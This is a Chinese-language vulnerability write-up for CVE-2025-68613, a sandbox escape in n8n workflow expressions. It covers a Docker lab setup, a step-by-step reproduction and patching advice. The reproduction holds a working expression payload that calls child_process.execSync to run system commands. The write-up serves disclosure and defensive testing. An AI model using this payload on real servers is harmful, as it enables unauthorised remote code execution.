# n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613

## 漏洞描述

n8n 是一个开源的工作流自动化平台，允许用户通过可视化界面创建和管理复杂的自动化工作流。它支持数百种集成服务和应用，使用户能够连接不同的系统和 API，实现数据同步、任务自动化和业务流程优化。

由于 n8n 工作流表达式的评估环境未能与底层 Node.js 运行时充分隔离，导致经过身份验证的远程攻击者可在特定条件下，通过配置恶意表达式突破沙箱限制，从而直接访问并操作 Node.js 全局对象或内置模块，最终在运行 n8n 进程的服务器上以该进程权限执行任意操作系统命令。

参考链接：

- https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79
- https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000
- https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316
- https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp

## 漏洞影响

```
0.211.0 <= n8n < 1.120.4
1.121.0 <= n8n < 1.121.1
n8n < 1.122.0
```

## 环境搭建

根据官方 [docker-compose.yml](https://github.com/n8n-io/n8n-hosting/blob/main/docker-compose/withPostgres/docker-compose.yml)，修改 n8n 版本为 1.71.0：

```
volumes:
  db_storage:
  n8n_storage:

services:
  postgres:
    image: postgres:16
    restart: always
    environment:
      - POSTGRES_USER=n8n_user
      - POSTGRES_PASSWORD=n8n_password 
      - POSTGRES_DB=n8n_db
      - POSTGRES_NON_ROOT_USER=n8n_root
      - POSTGRES_NON_ROOT_PASSWORD=n8n_root_password 
    volumes:
      - db_storage:/var/lib/postgresql/data
      - ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh
    healthcheck:
      test: ['CMD-SHELL', 'pg_isready -h localhost -U n8n_user -d n8n_db']
      interval: 5s
      timeout: 5s
      retries: 10

  n8n:
    image: docker.n8n.io/n8nio/n8n:1.71.0
    restart: always
    environment:
      - DB_TYPE=postgresdb
      - DB_POSTGRESDB_HOST=postgres
      - DB_POSTGRESDB_PORT=5432
      - DB_POSTGRESDB_DATABASE=n8n_db
      - DB_POSTGRESDB_USER=n8n_user
      - DB_POSTGRESDB_PASSWORD=n8n_password
    ports:
      - 5678:5678
    links:
      - postgres
    volumes:
      - n8n_storage:/home/node/.n8n
    depends_on:
      postgres:
        condition: service_healthy
```

执行如下命令启动一个 n8n 1.71.0 服务：

```
docker-compose up -d
```

由于 secure cookie 限制，建议本地 localhost 访问，或通过 ssh 端口转发将 5678 端口转发到本地：

```
ssh -L 5678:localhost:5678 root@your-ip
```

> 或在 `docker-compose.yml` 中 `n8n environment` 处增加 `N8N_SECURE_COOKIE=false`，绕过 secure cookie 限制。该配置不安全，不建议在生产环境使用。

服务启动后，访问 `http://localhost:5678` 即可查看到 n8n 主页，注册账号并登录：

![](images/n8n%20表达式沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68613/image-20260112152408513.png)

## 漏洞复现

创建一个新的 Workflow 并添加一个 Manual Trigger 节点：

![](images/n8n%20表达式沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68613/image-20260112150625121.png)

添加 Edit Fields(Set) 选项：

![](images/n8n%20表达式沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68613/image-20260112153012400.png)

点击 Add Field，此处需要填写 `name` 和 `value`。`name` 处填入任意内容，在 `value` 处填入以下代码，切换到 Expression。点击 Test step 测试执行：

```
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
```

![](images/n8n%20表达式沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68613/image-20260112151519378.png)

执行命令 `touch /tmp/awesome_poc`：

```
{{ (function(){ return this.process.mainModule.require('child_process').execSync('touch /tmp/awesome_poc').toString() })() }}
```

![](images/n8n%20表达式沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68613/image-20260112151645507.png)

可以看到，命令已经被成功执行：

![](images/n8n%20表达式沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68613/image-20260112151729652.png)

## 漏洞修复

**通用修补建议**

- 官方已发布漏洞补丁及修复版本，请评估业务是否受影响后，酌情升级至安全版本： https://github.com/n8n-io/n8n/releases

**临时缓解措施**

- 限制工作流创建和编辑权限，仅授予完全可信的用户。
- 在加固的环境中部署 n8n，限制操作系统权限和网络访问，以减少潜在利用的影响。
